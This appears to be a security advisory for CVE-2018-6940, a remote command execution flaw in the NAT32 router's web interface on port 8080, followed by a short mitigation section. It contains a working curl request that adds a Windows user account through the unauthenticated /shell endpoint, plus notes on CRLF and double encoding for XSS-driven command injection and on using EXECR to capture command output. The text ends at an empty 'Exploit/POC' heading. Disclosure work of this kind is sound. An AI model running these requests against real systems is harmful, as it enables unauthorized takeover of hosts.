NAT32 Remote Command Execution

NAT32 listens on Port 8080 for its Web interface. If the 'Password Checking' feature is not enabled, remote attackers can potentially execute arbitrary commands. If the 'Password Checking' feature is enabled, remote attackers can potentially issue arbitrary commands exploiting a Cross Site Scripting vulnerability. NAT32 also implements BASIC authentication which pass BASE64 Encoded credentials that can be easily revealed if sniffed on the network.

Mitigation:

Enable 'Password Checking' feature and ensure that it is properly configured. Regularly update NAT32 to the latest version to patch any existing vulnerabilities.

Vendor:

Product:
=================
NAT32 Build (22284)


NAT32 is a versatile IP Router implemented as a WIN32 application.


Vulnerability Type:
===================
Remote Command Execution 


CVE Reference:
==============
CVE-2018-6940


Security Issue:
================
NAT32 listens on Port 8080 for its Web interface.

C:\>netstat -ano | findstr 8080
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       3720


If the 'Password Checking' (BASIC authentication) feature is NOT enabled (user must select it under config tab) then remote attackers who can reach
NAT32 can potentially execute arbitrary commands, if authentication is enabled they will get 'Unauthorized' server reply, however, read on ...

e.g.

Add user account.

C:\>curl "http://x.x.x.x:8080/shell?cmd=run+net+user+D1rty0Tis+abc123+/add"
<!DOCTYPE html>
<html>
<body><pre>run start net user D1rty0Tis abc123 /add Done
</pre></body></html>


If NAT32 'Password Checking' feature IS enabled, remote attackers can STILL potentially issue arbitrary commands exploiting a
Cross Site Scripting vulnerability in the HTTPD code of NAT32, if authenticated NAT32 users click a malicious link
or visit an attacker controlled webpage. 

Also worth mentioning, NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily
revealed if sniffed on network.

When 'Password Checking' is enabled attackers using Ajax calls via XSS would need to use a combination of '%0D%0A' and double encoding
to deal with 'white-space' in order for the payload to stay intact.

%25 for '%' sign then 20 (%2520) = %20, using %20 or %2B will not cut it, however '%0D%0A' (CRLF) and '%2520' encoding serves us well.

NAT32 has an interesting Command 'EXECR' that can allow attackers to capture Command output response from the server to see right away if an
attack was success or not.

e.g.

Add account and get response (EXECR)

HTTP Response:
<!DOCTYPE html>
<html>
<body><pre>The command completed successfully.

execr net user D1rty0Tis abc123 /add Done
</pre></body></html>


The NAT32 'winroute' Command will return host route information.

XSS response

e.g.

<!DOCTYPE html>
<html>
<body><pre>Destination    Mask              Nexthop      Metric IfIndex Type Proto Age
0.0.0.0         0.0.0.0         192.168.1.2        10       b    4     3 21:41 [min:sec]
127.0.0.0       255.0.0.0       127.0.0.1          306      1    3     3 22:04 [min:sec]
127.0.0.1       255.255.255.255 127.0.0.1          306      1    3     3 22:04 [min:sec]
127.255.255.255 255.255.255.255 127.0.0.1          306      1    3     3 22:04 [min:sec]

Exploit/POC:
